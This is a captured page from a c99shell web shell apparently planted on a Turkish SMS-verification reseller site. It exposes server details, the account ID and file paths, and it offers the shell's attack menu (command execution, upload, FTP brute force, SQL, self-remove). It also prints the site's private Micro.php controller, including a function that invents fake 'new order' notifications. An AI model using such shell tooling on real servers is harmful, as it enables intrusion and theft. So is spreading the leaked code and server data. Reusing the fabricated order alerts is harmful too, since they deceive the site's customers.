smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/app/Controllers/   drwxr-xr-x
Free 3433.27 GB of 4265.01 GB (80.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Micro.php (4.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Controllers;

use 
App\Libraries\Onaylasms;
use 
App\Libraries\Provider;
use 
App\Models\User;

class 
Micro extends BaseController
{
    public function 
getNotificationOrder()
    {
        
$db =  \Config\Database::connect();
        
$result $db->query("SELECT * FROM services ORDER BY RAND() LIMIT 1;");
        
$result $result->getResultArray()[0];
        
$categoryName db('categories')->where([
            
'id' => $result['category'],
        ])->
get()
            ->
getResultArray()[0]['name'];
        
$ago random_int(19);
        return 
$this->response->setJSON([
            
'message' => "$categoryName - {$result['name']} yeni sipariş ($ago dakika önce)!"

        
]);
    }
    public function 
createServices()
    {
        if (!
user() || user()['admin'] != '1') {
            return 
redirect()->to('/login');
        }
        
$siteCategory $this->request->getPost('siteCategory');
        
$provider $this->request->getPost('provider');
        
$providerCategory $this->request->getPost('providerCategory');
        
$rate $this->request->getPost('rate');
        if (
$rate != '' || $siteCategory != '' || $providerCategory != '') {
            if (
$provider == 'onaylasms') {
                
$services = (new Provider('onaylasms'))->getServices($providerCategory);
                
$bayi = (new Onaylasms())->getDiscountRate($providerCategory)['rate'];

                foreach (
$services as $service) {
                    
$service['price'] -= ($service['price'] / 100) * $bayi;
                    
db('services')->insert([
                        
'name' => $service['name'],
                        
'category' => $siteCategory,
                        
'provider' => $provider,
                        
'service' => $service['id'],
                        
'price' => floatval($service['price']) + ((floatval($service['price']) / 100)  * $rate),
                        
'providerCategory' => $providerCategory
                    
]);
                }
            } else if (
$provider == 'fivesim' || $provider == 'smsactivate') {
                
$services = (new Provider($provider))->getServices($providerCategory);
                
$kur simplexml_load_file("https://www.tcmb.gov.tr/kurlar/today.xml");
                
$kur $kur->Currency[14]->ForexSelling;

                foreach (
$services as $service) {

                    
db('services')->insert([
                        
'name' => $service['name'],
                        
'category' => $siteCategory,
                        
'provider' => $provider,
                        
'service' => $service['id'],
                        
'price' => (floatval($service['price']) + ((floatval($service['price']) / 100)  * $rate)) * floatval($kur),
                        
'providerCategory' => $providerCategory
                    
]);
                }
            }
        }
        echo 
'Servisler çekildi. <a href="' base_url("admin") . '">Ana Sayfaya Dön</a>';
    }


    public function 
updatePricesByPage($page)
    {
        if (!
user() || user()['admin'] != '1') {
            return 
redirect()->to('/login');
        }
        
$rate $this->request->getPost('rate');
        
$category $this->request->getPost('category');
        
$servicesCount db('services')->where('category'$category)->countAllResults();
        
$updateCount 25;
        if (
$servicesCount $updateCount $page) {
            
$services db('services')->where('category'$category)->limit($updateCount, ($page 1) * $updateCount)->get()->getResultArray();
            
$kur simplexml_load_file("https://www.tcmb.gov.tr/kurlar/today.xml");
            
$kur $kur->Currency[14]->ForexSelling;

            
set_time_limit(500);
            foreach (
$services as $service) {
                
$s = (new Provider($service['provider']))->getServiceDetails($service['service'], $service['providerCategory']);
                
$price floatval($s['price']);
                if (
$service['provider'] == 'onaylasms') {
                    
$price $price - ($price 100 30);
                } else {
                    
$price $price $kur;
                }
                
$price $price 100 * (100 $rate);

                
db('services')->where('id'$service['id'])->update([
                    
'price' => $price,
                ]);
            }
        }
        return 
$this->response->setJSON([
            
'page' => $page,
            
'category' => intval($category),
            
'rate' => intval($rate),
            
'services' => $servicesCount,
            
'newPage' => $servicesCount $updateCount $page $page $page,
            
'pageStart' => $page $updateCount $updateCount,
            
'pageEnd' => $page $updateCount,
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0055 ]--